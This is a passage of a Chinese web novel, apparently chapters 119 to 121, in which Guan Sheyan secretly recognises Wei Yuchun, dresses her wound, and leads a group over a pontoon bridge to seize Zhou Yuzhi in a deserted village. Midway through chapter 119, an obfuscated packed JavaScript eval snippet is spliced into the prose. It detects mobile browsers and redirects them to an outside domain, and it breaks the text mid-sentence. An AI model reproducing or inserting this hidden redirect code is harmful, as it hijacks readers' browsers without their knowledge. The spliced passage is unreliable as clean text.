他真是蠢,什么魏澜清……他居然被骗了这么多年,还差点真将其当作故人。 那件难以跨越的心坎——“未婚妻”,也本是莫须有之事。 他被骗得好惨,阴差阳错,千种万种,他已不敢想象自己跟魏郁春错过了多少次。他本有太多疑惑想要问出口,既是欣喜的,可也是错愕的,甚至还是不敢置信的。他甚至没办法共情以往傲纵而目下无尘的自己,时在南禺,他还对她百般刁难,虽然……现在好像依旧如此。她甚至还越来越讨厌他了。 他也是没办法理解,为何当他以为故人是魏澜清的时候,他却生不出这般异样又精彩的心情。 反而换了人,他就瞬间变了性子? 怪,真是怪矣! 他来不及想,因为缝隙之外的女子已经逃逸。 魏郁春瞬间清醒,她着急忙慌把脸上那张面皮揭开,又用袖子为自己搓干净形容。她原路返回,把自己丢在地上的外裳重新披上,她又变回了身材臃肿甚至说有些魁梧的模样。 她心虚不已,但也清楚自己若不赶紧归队,必会撞上府里的人,处境困难。她安抚自己,关阇彦那时站得远,不一定真的看到了她的脸。 可就算看到了又怎么样?! 关阇彦又从未见过她前世的模样,他要是非要追问,她完全有机会迂回,有何可惧的?! 如此说来,她还庆幸起来,自己刚刚没有赶快揭下面具,毕竟比起叫他看到前世的面容,现在的模样被看到了才更可疑吧? 他只认识“冯迎春”,又不认识魏郁春。 她以为自己处心积虑,实际上却天真无比。 119. 蒙心博弈 魏郁春修整完毕,回去找关阇彦,结果她返回的时候,树丛之处已没了关阇彦的身影。 她刚觉得迷惑,不远处就传来了关阇彦唤她的声音:“我在这里。” 他还是那副骄傲不已的模样,靠在墙上,双臂抱着,眉目深沉。其实方才他本可以追过去,直接拆穿魏郁春的身份,但他明白这个女人要是真肯轻易让别人弄清楚她的真身,她就不会编造那么多理由来诳骗别人。 他希望在准备好之前,不打草惊蛇。万一让她跑了就不好了。他深信此女足智多谋又惯会钻人空子,她要逃,谁都拦不住她。 他也不高兴去多问,方才魏郁春到底对魏澜清做了什么。反正这都是早晚能知道的事。 他现在只在乎的是,要如何尽快带她离开这个危险之地。 魏郁春完全想不到他会以这种方式突然出现在她身后,她迅速盘想刚刚是否有未伪装得当的地方,她细细打量了关阇彦的表情,处事不惊,深谋远虑,那双深邃眸子禁不起旁人与之对视多久,因为,它们惯会洞悉人心。 他越是平静,她便越是后怕。 她总感觉,这个男人已经什么都知道了。 她默默攥紧了袖子,又忘记了掌心上那抓心的痛楚,血止不住地从她手心里流了出去,似无声的泪。 关阇彦单眉一紧,大步而来,泰然道:“你杵这儿作甚,觉得我很好看吗?” 魏郁春:“……?” 她再次打量他的神色,确定,他完全一副浑不在意的模样,方才看到的怕是错觉,毕竟夜色混淆视野,也会迷乱判断。 她默默松了一口气,桎梏不再,她定然——看来他真的什么都不知道。要不然,以她对他的了解,她怕是要被严刑拷打一番,直到她交出供词,他才肯罢休吧。 此时,关阇彦从衣服上果断撕下了一块布,飞速缠上了她的受伤的掌心,他狠心一扯,打上了结,真是痛不欲生。 魏郁春刚止住的泪差点又喷涌出来,手也已经脱力了。 关阇彦挑眉,讽刺一笑,随手拍了一把她的脑袋,轻声骂道:“你是猪吗?受伤了也不知道喊疼?” 魏郁春默然,有些奇怪,关阇彦怎么突然这么在意她。 而关阇彦刚好给了她回复:“方才买下龙骨香的簪花人出现了,所以出了一些状况,杜明堂那边我已经发了令叫他快点撤退了,我来找你,时间紧急,你要是这副鬼样,怕是拖我后腿了。明白吗?” 嗯,真是老样子。 魏郁春抽了抽嘴角。 她毫不示弱:“之前在南禺我也为你包扎过,不像你这般下手没轻没重,你是夹杂私情,妄图报复我吧?” 关阇彦拉着她,哈哈大笑,一副轻狂模样:“那又如何?” 二人身影若仙,快速从险象环生的关府撤去。外头安插的隐卫已经等候多时,二人与杜明堂汇合,在多方势力的协助下,有惊无险地回到了安全的杜宅。 杜明堂一身软骨头,回来时直接累昏过去了,被爹娘和家仆们你一把我一把地架离了关魏的二人世界。 关阇彦给魏郁春的包扎其实不顶事,彼时情急,只好暂时紧急止血,要想治伤愈伤还得请专人来赠上药膏。 时至宵禁时分,便是只狗都困觉去了,更不提还要另请医工了。 宅子里其实也配了个老中医,是个高人,年轻时游医在外,老了就到京城寻了个靠山依附着,杜宅生活十来年,也就白日里有些时辰是清醒的,能给人瞧病。问杜老爷怎么不再配个备用的医工,结果杜咏难掩尴尬,说老中医性子高傲,请了别人就是伤了人自尊心。就这样,老中医跟一尊大佛一般在杜宅被人供着似的。 他夫人也是头一次晓得老中医来历,结合账房先生刘翁的来历想,由衷苦叹,她这相公“乐善好施”的性子,跟街上爱捡破烂儿的老头老奶奶竟没什么区别。 关阇彦几乎是扭曲着表情听杜咏如此解释的,众人纠结,魏郁春哀叹一息,主动打破僵局:“罢了,我自己也会处理伤口,不必诸位为我劳烦。” 关阇彦似乎犹豫了片刻,旋即想到了什么,便顺了魏郁春的话头先道:“既然冯姑娘开了口,那就这么办吧。” 他顿首行了问候礼,杜老爷杜夫人回了过去,也懂了他的意思,不必多言就款款离去了。 魏郁春刚好在自己的屋子,也打算将伤口清洗一番便去休息了,可看杜氏夫妇二人都走了,关阇彦却还跟脚底下粘了膏药似的原地不动。 她不悦又不解:“你不走吗?” 关阇彦理所当然道:“哼,我为何要走?” “你不是说对比南禺你待我的态度,方才的我显得亏欠太多么?” 说罢,他拍拍手掌,眼熟的二位嬷嬷,一人端着热水盆,一人则抱着几种药罐子过来。 她们互相抛笑,对视一番后放下东西就走了,跑得飞快,像是生怕撞破了什么见不得人秘密。 傻子都知道二位嬷嬷在揣摩什么心思。 魏郁春又羞又恼,可她太累了,气血跟不上,脸上反而煞白得厉害,不知道的还以为她是孤魂野鬼。 她瞥了一眼嬷嬷们送进来的东西,也不知道她们是何时准备好的。她心中不解,方才杜老爷跟杜夫人在的时候,他未提半字要帮他清理伤口的事。 难道,他是早就有了这些打算么? 她觉得不可思议:“你连此事都要较真?” 关阇彦将背在身后的手抽出来,安然拿了一条毛巾泡入了温度适中的水里,盆放在地上,他竟毫不避讳地半蹲下了身子,帮她洗拧毛巾。要知道,他最讨厌的就是听人指挥帮人做事,便是做了也不可能卑躬屈膝,他那脊背比黑铁还硬。 面对关阇彦态度的大反常,魏郁春半分不觉得体贴,反而想着画面诡异,她毛骨悚然,浑身不自在,又想不通这家伙又在玩什么花招。 她两条漂亮的眉毛皱得紧紧的,像是两只扭曲的蚯蚓,变得不再好看了。 她警告自己,千万不要再上这登徒浪子的当了! 关阇彦头也不抬,却仿佛已经洞悉她的心思,他胸有成竹,面色更是安然,他主动找话:“如何?现在冯姑娘可还觉得态度不错,满意些许了?” 见他提着湿漉漉还冒着热气的毛巾走来,魏郁春恨不得当场从凳子上腾起,立马疯跑出去。 太可怕了!她宁可看他冷面嘲讽人时那副人神共愤的样子! “你正常点。” 她起了一身鸡皮疙瘩。 而关阇彦却不太乐意地歪了歪脑袋,竟是委屈了:“怎么,是做得还不够合您心意了?” 更可怕了!还恶心!魏郁春瞳孔仿佛要顷刻爆裂。 她被关阇彦压迫的气势逼得僵在原地不得动弹。这个男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447462|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人真是阴毒,用最具压迫性的样子说出柔情温语来,她是接受不能,拒绝不得。 关阇彦接过她的手来,动作温柔,温热的触感浸没了她最为敏感的伤口,刺痛之后是留有余温的火辣。 关阇彦此时不跟她掰扯是非了,样子格外认真,他拿来药膏,说道:“这东西是我常用来抹伤的猛药,若非迫不得已也不会给你用,你担待着点。” 魏郁春忍痛,“嗯”了一声,脆弱却又坚强。 她趁关阇彦弯腰为她抹伤的时候,悄咪咪探出去几眼,先是看到了他昂扬不羁的高马尾,后便是他光洁而白皙的额头,再又是硬挺俊朗的眉目……他的呼吸近在咫尺,气流扑打在了她的手上,先是汗毛立起,后又是难以启齿的羞耻感涌上心头。 伤口处理完,猛药的药性也尽完了,她果真是不痛了,酥麻而清凉的感觉顺着她的掌心抵达心间,她尴尬地看着关阇彦摆着得意的笑脸,半蹲身前却迟迟不起。 她从未如此不知所措过……她看他那招摇样,心想,莫不是还要夸他一番他才肯罢休? 实不相瞒,她还是开不了口,氛围不合适,说多了到成了暧昧的修辞。 “嗯……谢谢。” 关阇彦牵着嘴角,又是忍笑,又是张狂,好似神经病。 他站起来背手过去,却是一点也不嫌害臊:“冯姑娘现在再说说看,还是夹杂私情,妄图报复吗?” 魏郁春望着他,眼眶还是红红的,她要硬抗压力,不然就掉进了他逗弄自己的坑里。 她哪里是他能调教的人物? “你真是记仇。” “彼此彼此。你不是从前就老这么斥我么?” 关阇彦已不吃她那一套,心情极佳。 魏郁春还是放不下疑虑,见关阇彦背了身子,要离开。她喊住了他,语气是前所未有的肃重:“今晚你为何待我如此特别?” 关阇彦堆笑的面色已经恢复如初,在背光的阴影下,是有些骇然的冰冷,但他留给她的回应却还是温热的:“今日去关昀洲府里大闹一通,岂不快哉?心情一好,自是对什么事都有了耐心。” 魏郁春不饶:“你……” 她又犹豫又害怕,她想问“你真的什么都不知道吗”,抑或是“你真的什么都没看到吗”,可她清楚,一旦问出口,防线俱溃,岂不是主动招了罪? 关阇彦不可能放过她的。 他何曾对谁心软过呢? 在她犹豫的这一刻,她就败得溃不成军了,关阇彦不忍戳穿她,主动打断了她:“怎么,你是有什么其他的新发现?不妨说来听听?” 他说罢,已经转过身来了,定定地看着她,用如炬的目光死死盯紧她,直到让她自己选择撤退,选择什么都不要说。 他不想现在就知道,不想立马与她相认。他更不需要她自揭伤疤。 果然,在这场互相试探的博弈里,他赢了。魏郁春退缩了,也终于相信他再一次制出的假象。 她弯唇掩饰:“没什么,我只是太累了。” 关阇彦佯装厌烦,他扭扭脖子,扶额一把,推门走了,甩手说道:“累了就休息,我也没空跟你在这儿生拉硬扯了。” 魏郁春看着他懒散离去的背影,长吁短叹,阖门之后便赶忙将前世的面皮焚毁了去。她希望这件事不要再被任何人得知,所以她自以为是地销毁了所有证据。 120. 临江古寨(1) 接下来几日,杜宅过得倒是舒坦,而刚有过喜事的关家却不同了。 其间趣事有二。 其一是大婚之夜院子突起大火,疑是有人夜闯其中故意作乱,可凶手至今逍遥法外,未曾寻到。 其二是婚礼之后,那貌美的新娘子魏氏就患了失心疯,总爱抓着匕首往自己脸上刮,听说她那张漂漂亮亮的脸蛋就是被她自己剐烂的。除此以外,她还总是疯言疯语,说自己见了鬼怪,说自己不是什么春生才女,她是假冒的之类的话。简直跟书写可怖遗书的刘翁一般相似。心中若是无鬼,又怎么会这么后怕?也难怪魏郁春能那么精准地说出藏在刘翁遗书里心虚的秘密。 最近魏家也被她牵连,而所谓的安南都督心情甚差。圣人对此也是摇头叹息,不想过问。 近日,魏氏似是不闹了,是被她那好夫君割了舌头封了嘴巴也说不定,或者是被她那蒙羞的娘家带了回去之类的。 反正,她是个疯子,不可能自己封口的。 此时在京城闹得沸沸扬扬,好不容易消停下去的有关魏氏春桃酒宴的丑闻,又如春笋般蹭蹭上冒。 魏郁春足不出户也能听到下人们议论此时,不管是不是大快人心,但一定是罪有应得了,魏氏疯得不怨。 她还觉得当时不要她的命是件好事,魏氏最好面子,最为虚荣,让她没尊严地苟活下去,在外头丢人现眼,顺便再给魏家招招黑,可比让她简简单单丢了条命要好得多。 她形容淡定,但听到有人在面前唧唧呱呱说这件事的时候,她还是会心虚的。但心虚的不是觉得做错了事,而是担心被关阇彦瞧出破绽。 而那个在自己面前唧唧呱呱不停的人就是杜明堂了。 杜明堂其实已经怀疑魏氏出事可能跟她有关了,毕竟婚宴那个局不就是关阇彦特地为她筹备的吗?关阇彦说是想看看她跟魏氏对峙的样子。可他寻思着,这二人又不熟,能有什么深仇大恨值得她们几番相斗? 他肯定想不到魏氏假扮春生才女这层面的问题,毕竟他是个局外人。 可他就是想不通,魏氏怎么就一夜之间就疯了。怎么想好像斗跟魏郁春脱不开关系,可喊她一起对饮喝茶,见她模样自洽,举止高雅淡定,哪里像那种寻私仇的人? 不得已下,他只好请出杀手锏来:“冯姑娘,实不相瞒,你是不是不喜欢魏氏魏澜清?” 魏郁春顿住。 杜明堂挑眉,说话语气迂回,像是在跟人对弈一般:“无碍,我也很是不喜欢那女子,她性子浮夸,又爱装,听说酒宴上还出了糗,真是滑天下之大稽了。” 见他自问自答,魏郁春默默饮茶,简直是人淡如菊。 杜明堂却又道:“你看,我们都不喜欢,唯独关兄对她情有独钟呢!” 魏郁春已经觉得此人话中有话了,可他又很爱卖关子,她莫名看他,其实眼神里的疏离就代表了她的逐客令。 杜明堂不是没看见,而是将她终于有波澜的反应误会成了她对关兄在意的表现,他提杯,后仰了仰,一副游刃有余之相。 “害,毕竟关兄之前还提议在婚宴洞房后就把他那蠢弟弟给踢出去,重新当安南都督呢。虽然我思想蛮开放了,但我关兄何等傲才,哪里受得了这等侮辱和委屈?没得办法,他偏要,别也是被春生才女的名声给唬住了。” 杜明堂这颠倒是非的口才堪称绝妙,关阇彦当时要这么做,是迫于圣人威压和家族的威望,跟什么春生不春生,委屈不委屈有何关系? 魏郁春虽然知晓一二关阇彦跟他未婚妻的“爱恨情仇”,但头一次听到这种解读,她还是觉得有意思的。 她开了腔:“哦?关都督哪里是受不得委屈了?他一口一个现实如此,迫不得已。从前我也是听过他对那未婚妻的美言,仿佛就是此生挚爱了呢。” 阴阳怪气,必有鬼怪。 杜明堂以为他调动了魏郁春的醋意,更是来劲儿了:“可不是吗?!” 魏郁春又发话,她的语气竟是活跃生机了不少:“那杜公子可听说过春桃酒宴中,金玉圆小姐跟魏氏的恩怨纠葛呢?” 嗯?这走向怎么跟自己想象中的不一样呢? 杜明堂突然卡了嗓子,而且魏郁春的话题也是他从未听说过的,他摇摇头,兴致还被人勾走了。 魏郁春反客为主,讲述起来:“杜公子有所不知,金玉圆小姐在宴中,看似待那魏氏关照有加,实际上却暗中刁难魏氏,便是闹出了事,也都是想着罩着别家的小姐。不光是瞧不起魏氏的出身和德才,还是有些忌讳其与安南都督的关系的。旁人听不出,难道我还听不出金小姐的弦外之音么?” 杜明堂一副吃了大瓜的表情:“你是说金小姐也钟情都督,所以嫉妒魏氏了?” “金小姐从不与男子多舌,寻日更是只许女子近身陪伴的。她气度极大,又才思敏捷,怕不是小家子气的姑娘,何谈嫉妒一说?我看她谈及魏氏与都督时的反应,倒更像是生气。” 杜明堂皱眉,一下子想起关阇彦那副招摇过市的孔雀样,旋即拍桌:“冯姑娘我明白了!怕是关兄又显摆去了,招惹了人家姑娘?” 魏郁春缓缓放下杯盏,可尽管动作矜持,还是没忍住嘴角绽笑。 方才才认可关阇彦待未婚妻如同一生挚爱的人,转头就把人给卖了,还给人扣上了不折不扣的浪荡子的帽子。 杜明堂脸一绿,知道是无意间得罪了好兄弟关阇彦,他连连咳嗽。狼狈之时,他又扶额抱怨,难怪关兄之前叫我不要跟这女子单独聊话,这是老奸巨猾,比他还过分。 亏他看她模样清冷又孤傲,不是心肠狭窄之辈,还特地降低了心理防线,想要跟她交心一番呢。如今一看,真是没有必要了! 魏郁春开门见山了:“杜公子也听说了近来魏氏的传闻吧,莫不是怀疑与我有关?我猜你是没想出个原由来,便以为我也与金小姐一般钟情于都督,才嫉妒了魏氏,动了手段?真真是冤枉,我就是有这等手段,也断不可能跟这种原因有关。我可对你家关兄无意,以后也莫要冤枉我了。” 她话音方落,忽地,杜明堂还没来及回话,就又恢复成了处之泰然的样子,他给对面招招手。 魏郁春循着他面朝的方向向后转头,见是关阇彦,也不知道他是什么时候过来的。不过看他面色好像也有些发绿,她就猜出来,刚刚一些言论多半是被他听见了。她心中有些雀跃,毕竟得罪他可不算什么易事。 关阇彦果然特地看了她一眼,目光里有些不稳的因素,可以是匪夷所思,也可以是拿她没办法的无可奈何,但绝不会是魏郁春所期待的生气恼怒。 他没多说什么,只是言简意赅地招呼俩人一起移步厅堂:“陶明案来了,一起去议事。” 熟悉的议事堂内,杜老爷跟杜夫人已经为陶明案跟章念准备了上座,也奉了茶,俩个人皆是受宠若惊,连连婉拒,一副清廉之状。推辞之间,伪装好面容的关阇彦领着二人一起进来。 章念一见魏郁春,忙是打招呼:“漂亮姐姐,真是好久没见了!” 陶明案也忍不住往那头看了一眼,又瞬间矜持地转回了眸光,还颇为嫌弃地抬手把齐肩高的章念的脑袋给扭了回来。 陶明案道:“听闻婚宴之事多亏了冯姑娘布局,陶某钦佩。” “章某也钦佩!” 关阇彦恨不得当场抛出俩只白眼。 一来就爱往人身上凑,生怕别人不知道他的心思。真会无事献殷勤。 魏郁春已将他们视作知己朋友,待他自是仪态大方,她作揖:“陶司职,章司务言重了。” 关阇彦看不下去,赶忙插话:“陶司职东西可备好了?” 这几日内,大家一直都在默默关注关昀洲那边的动向,为了不出差误,索性也带上了陶明案跟章念一起来关注。既有了要跟陶明案长期合作的打算,关阇彦便不再对他们隐瞒杜宅子账本遭窃之事了,以免交涉困难。而西仓战役的惨案也得到了陶明案跟章念的理解,杜明堂假死一事也不再隐瞒下去。不过他的身份实在是跟现在的“关昀洲”有些冲突,便未曾暴露。 今日,关昀洲终于寻到了周裕之的下落,连忙把消息送了出去。早上魏郁春跟关阇彦一起细究了去往目的地的路线,同时也联系了陶明案跟章念,让他们作为代表大理寺的审理人,带上案呈先到杜宅集合。 陶明案抬手指了指章念常年背在身上不肯离身的布袋,里面塞了书册等物事,鼓鼓囊囊的,都是他分外宝贝的东西。 陶明案准备充分,他谨慎道:“周尚书藏子之地在城外北河的一只野寨子里,那里是周尚书贪污藏宝的重要据点之一,山高水远,过山必要载舟,而舟下江流激荡,常有暗礁阻隔,较为凶险,若非特殊工具搭载,根本过不去,所以寨子与世隔绝,人迹罕至,也得以成为周尚书最为得意的藏宝地。” 魏郁春道:“不易过去算是好事,至少安南都督找人不会比我们容易多少。” 关阇彦还在揣摩:“要如何过去?” 一直没插话的杜老爷捋捋短须:“好说好说!” 杜明堂两眼放光:“爹你不会又在宅子里养了什么能工巧匠吧?” 杜咏跟杜夫人相视嘿嘿一笑,齐道:“养倒是养过,不过后来没养住就是了。” 原来许多年前,杜老爷跟杜夫人前往渡口卸货,时至江南水道失修,稻米难种,有些地方闹洪灾,有些地方闹旱灾。 夫妻二人去的正是闹洪灾的林渠县,县边是林渠渡口,靠母江,母江向来水流平稳,但那时却湍急不已,别提是运货了,简简单单的渔家渡江之事都办不到。 杜老爷杜夫人急得要过江,偶遇一户住着的水屋的渔民,洪水下差不多快淹了他们大半生存之地,渔民答应为他们搭上舟桥渡江,但前提是,接济了他家养的一群猫崽仔。毕竟,环境困苦,哪里还能再养得起这等不能吃苦的萌物? 于是,杜氏夫妇此行归来,车上竟多了五六只花花胖胖的小猫咪,都抱回去给年幼的杜明堂跟杜明茜当玩伴了。 杜明堂乍舌,他这才知道那群小猫崽们的来历:“不会是小一、小二,小三、小四小五小六它们吧!” 这群猫崽仔被他跟妹妹玩得每天都要累得吐舌头喘气,后来就一个俩个约好了一起翻墙跑了。这不就是没养住吗? 陶明案也是头一次听这么离谱的趣事,也想不到闻名京城的鬼算盘居然有这等幼稚的童年过往。他身侧的章念已经噗哈哈笑作了一团,那张年轻饱满的面庞已经涨红,高高扎在脑后的短辫子晃来晃去。 杜明堂皱眉瞪了章念一眼,然后道:“所以爹娘你们是打算用舟桥渡江?” 杜家财大气粗,话音方落,杜氏夫妇双双拍掌,堂内就走近来一群工匠,交代好事情后,他们直接带着钱去城北置办需要用的船只了,动作雷厉风行,惹人惊叹。此行所需胆量非一般人可有,杜氏夫妇主动当了金主,但身子骨实在经不起折腾便留在了杜宅。其余人等在工匠们的陪同下,朝城北飞驰而去。 外面流云翻滚,越是往北天色就越是晦暗,这才刚到下午,这样的天气必不寻常。果然半途中,外面刮起了飓风,雨水似锥子一般往地上砸,打在车棚上竟是响当当的“笃笃”声。 章念这位最大的话痨子连连抱怨:“真是出师不利,出师不利哇!” “你别说,你还真别说!” 倒是奇了怪了,杜明堂其实不爱在外与人交流,但总会被章念带偏,两人你一句我一句竟是一起抱怨了起来,随后又是嘻嘻哈哈起来,笑就算了,章念还要连连喊身侧的陶明案一起看热闹,杜明堂也是不饶人的,抓住关阇彦的肩头不肯撒手了。其余人看他们比外面的锥子雨还要吵闹。 陶明案在东侧,关阇彦在西侧,周身喧哗,他们二人忍无可忍之事抬眼看到的便是对方的脸,忍无可忍何需再忍?! 关阇彦冷哼一声,翻了个白眼。陶明案压着眉弓,积蓄的阴其比外头压城的黑云还要压抑。 他们暗暗较真一会儿后,才发现他们其实有共同的敌人——章念跟杜明堂,此二人视他人若无物,闹着闹着,怕是要把整个马车都要掀翻了去。 于是二人异口同声:“肃静!” 章念跟杜明堂幼稚的嬉笑打闹环节戛然而止,两个满脸茫然的年轻人环顾四周,也不知道刚才说话的人是谁,说的又是谁。直到,陶明案率先开了口:“章司务,肃静。” 关阇彦紧追而上:“杜兄,肃静。” 离谱的默契。全车唯有魏郁春一个女子,为了避嫌,诸位都让了车最里头最宽敞的位置给她一人坐。她起初觉得车内氛围压抑,而且总感觉,关阇彦跟陶明案关系莫名奇差无比,他们二人此前几乎无交涉,甚至陶明案都不清楚关阇彦的真实身份,何以结仇? 她疑惑之时,又亲眼见证了他们二人心有灵犀、默契十足的模样, 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纤夫拉桥入水,岸上需有人往地上凿洞绑绳以固船身,防止其随水流走失。与此同时,船上也需要站上两个破风的汉子,第一条靠岸的船只稳固好后,纤夫拉去第二只船,船上的破风人则需要攥住链接第一条和第二天船的绳索,把二船接到第一只船的船侧,绑定牢固后,再转移到二船,继续接引三船。数条船只依次衔接起来,像是桥梁,纵使船下恶水滔天却也难抵两岸迫压之势。 等到船上破风的人抵达对岸,凿洞安绳,舟桥便彻底搭成了。工程听似简单,但所需人力不可小觑,诸位又是头一次做这种事,要是失败,那可是实打实的丢人命的事。所以破风的人格外重要,工匠找上他们二人也是情理之中的事。 工匠也是不知,他的安排竟是促成舟桥完工的最重要的决策。 关阇彦虽戴着面具,但傲气却丝毫未被干扰。陶明案戴了一顶挡雨的斗笠,斜雨打在他俊冷的面容上,他微眯双眼,不知不觉间也把自己卷入了这场暗暗较劲的博弈中。 关阇彦率先道:“这种时候,陶兄可莫要谦虚了。” 陶明案不苟言笑,也完全不吃他那套油嘴滑舌的冷调调。他根本不屑于搭理关阇彦,直接跟他擦肩而过,跟着工匠踏上了船只。 关阇彦僵在原地,本就不怀好意的笑意收敛成冰冷的暗默。想当年,他亦是睥睨万物、不顾旁人死活的角色,表现跟陶明案方才的举止不相上下,何时他竟成了主动讨话的人了?他别是顾着气把自己气成了傻子了。 他们在雨中跟工匠一边交涉一边劳作,很快就在岸边一起凿下了缆桩。然后又一眨眼间,他们竟已经站在了江中的第二只船上,堪称神速。 杜明堂、章念还有魏郁春都是有自知之明的,与其过去帮倒忙,不如好好待在避雨之地。三人坐在马车里面,透过帘子看外头的光景。 杜明堂先道:“不愧是我关兄,有了他做什么事不是事半功倍?你瞧,方才老匠还说这事多难多难,这才过了多会儿,舟桥都快造好了!” 章念嗤笑:“你放屁!还不是我家陶司职厉害?要不然,也不可能这么快!” 魏郁春看着他们你骂一句我驳一句的,昔日好兄弟情仿佛将要碎裂,她忙打断他们,温言道:“都厉害,都厉害了。” 方才还斗得你死我活的两人突然同步转头看她,异口同声:“不行!你说到底谁厉害?!” 魏郁春卡住,扶额忧愁,原来这俩人也有离谱的默契感,早知道就不插足进来了。 三人斗嘴之间,舟桥已经竣工。 陶明案与关阇彦还有工匠纤夫守在对岸的缆桩,跟他们招手。 三人齐齐上阵,也发现舟桥看似坚不可摧,实际上站上去感觉整个身子都要变成烂棉花瘫软下去。要不是天生练武或者熟悉江水的人,还真难一把子顺畅渡过。其中,杜明堂从小身子骨就不太稳固,章念一直都是个小小文职员,魏郁春更是兼具了二人的缺点,堪称一群难兄难弟。 对岸众人等他们许久,暴雨又下大了,怕是再晚些,江下激流更翻滚,舟桥就更不好过了。 魏郁春踩在摇摇晃晃的船底上,难掩为难之色,眼看身侧的杜明堂跟章念都已上前,她显然更慌了,抬眼过去,穿过雨雾,看到了关阇彦跟陶明案皆有蠢蠢欲动的动作。 她旋即心中大喊“不行”! 她本就要强,尤其是在关阇彦面前。先前她下意识依赖他,却遭人轻视,这段经历曾让她难受多时,她是永远都忘不掉的。 不管是关阇彦还是陶明案来帮她,她都觉得自己像是个拖累人的累赘。 她咬咬牙,欲抬腿跨船,结果裙子碍事。她果断卷了袖子后又把群褶牵起来,狠狠打了个结,有些丑陋。她在江上耽搁太久,浑身湿透,头发也黏黏腻腻在一快,完全没了平日里淑女的样子。但她浑不在意,在意的只是会不会被人看轻。谁说她非要当个文文静静的女子了? 她就这样一脚一个大踏步,飞速跨越了一只又一只船,把杜章二人远远甩在了后头。那俩人又远远看着她好似鹏鸟一般的身影,齐齐膛目结舌。 她到了对岸,有人要来扶她。她却摇身过去,甩了甩湿漉漉的发丝,放下长袖,解下裙边丑节,收回架子,神色傲然,昂首挺胸地走了。 关阇彦见状,也不由惊叹。 而陶明案已经自顾自地感叹起来:“冯姑娘竟有如此豪迈的一面。” 当真是特殊,他久久不能释怀,心中难捱欣赏之欲,忙不迭跟上冯迎春的步子:“冯姑娘从前可是练过武?” “冯姑娘方才身手了得,陶某想讨教一二……” “冯姑娘……” “冯姑娘……” “冯姑娘”之声不绝于耳,似是点着了关阇彦心中的一把大火。 他冷斥,一口一个冯姑娘,平日惯会装裱高冷样子,这时候怎么跟个马屁精似的? 他方要追上去打断一番,结果后头对岸杜明堂跟章念的呼救声也开始不绝于耳起来:“关兄!关兄呐!快来接应我们!” 转头一瞧,两个落汤鸡在风中雨中萧瑟而立,已是摇摇欲坠之状。他额冒青筋,又看到已经随着工匠们离去的陶明案跟魏郁春的背影,自知分身乏术,只好带着一身火气往舟上去了。 他边带人边讽刺:“你俩连人家姑娘都不如,还能成什么事?不如趁早收拾收拾回了家去。” 谁知道杜明堂还在理直气壮地跟章念输出:“看吧,还是关兄厉害,不然谁帮你?!” 关阇彦:“……你是三岁稚儿么?” 也是难得见证杜明堂如此缺智的时候了。 121. 临江古寨(2) 工匠跟纤夫留下,其余人等沿着山路,打着伞蜿蜒而去,半山腰处就看到了挂了幡帜的寨落,古朴不已,山路便是还坐落了几只矮小的壁龛,以为是供的那座神佛,定睛一看,里头竟是塞了一只流着干涸血液的死蝙蝠。 骇然之下,章念还不忘敬业地翻开异闻录,哆哆嗦嗦念叨:“黑水古寨,以蝙蝠为尊。但活物供不来,就只好宰好了放壁龛上祭祀了。不足为奇……不,不不足为奇……” 关阇彦道:“难道这寨子里还有人不成?” 陶明案冷道:“都被杀光了,周家势力为了将此地占为己有,寨子里早就没人了。” 章念颔首:“此事很多人不知道,但圣人却很清楚,寨子本就与世隔绝,又紧靠京城,无法服从圣意的。周尚书这么做了,破了迷障不说,还搜刮了不少寨子里的东西,称之为寨民私藏之赃物,都进献给了圣人。圣人这才不再过问此寨,周尚书也偷偷把这里当了藏宝地。” “丧心病狂。”魏郁春仅用四字描述了此事。 杜明堂瞥了一眼壁龛里血淋淋的东西,心有余悸地道:“寨子无人,这玩意哪里来的?” 关阇彦昂首,示意他再看看不远处的几个壁龛,里面空无一物,眼前放了死蝙蝠的壁龛不过是个意外。 他道:“山中野兽多,蝙蝠被野猫什么的扑捕了丢在这种狭仄的地方也不算什么奇事。” 众人继续前进,同时也有了共识——寨子里早无原住民,凡是出现的活物,不是野兽就是周尚书安插在此的爪牙,遇到了要么躲,要么格杀勿论。 关阇彦跟陶明案依旧是主心骨,正事之下,他们无空勾心斗角,举手投足皆是默契二字。他们很快就寻到了破败的寨子里唯一一只看起来还算光鲜的高脚木屋,屋外守备森严,屋内还有一个男人咆哮哭吼的声音,八成就是疯了脑子瞎了眼睛的周裕之了。 两人一前一后,声东击西,把守卫们引开后,作为后备军的其余三人也立马冲进了木屋,不消几眼间,关陶便凯旋而归。五人齐聚屋内,傍晚山雾肆虐,本就湿气极重,所有东西被这种湿雾笼罩好似都能发散出腐朽,木屋材质使然,这里的糜烂之气更重。 进屋后,还有很辣脑的气味扑面过来,熏得人恨不得当场流泪。在京城霸道横走的王八少爷竟沦落到了在屋内随意脱裤子拉屎的境地。其余死人还好,魏郁春一个女子看人家脱光的模样实在不合适。 关阇彦前脚一踏,主动受了“迎面痛击”,此间还特地蔑了陶明案一眼,仿佛在说,你不如我动作迅速。 魏郁春不明所以然,等前面人影撤去的时候,周裕之就已经被陶明案拿着一张同样臭气熏熏的大毯子裹住,并被五花大绑了起来。圆滚滚一头大猪就这样被捆成了只会蠕动的大虫子。 章念跟杜明堂没忍住,捏着鼻子干呕了好一阵。 周裕之眼睛瞎得厉害,他爹为了给他止血,竟干脆叫人把他眼珠子给剐了,还把那两个本就只能塞得下绿豆的眼眶缝了起来。他张大嘴巴,口中烂牙一堆,金银镶嵌其中,恶臭再度袭来。 “你们……你们是什么人!” 虽然傻了,但贪生怕死的求生欲还在骨子里。他察觉到来者不善,叫起来,声音之粗,听着更像一头笨猪的低吼。 陶明案最善逼供,他道:“大胆周裕之,恶意纵火,提斧杀人,杀害无辜,芳樱楼上下白来号人含冤而死。你可知罪?!” 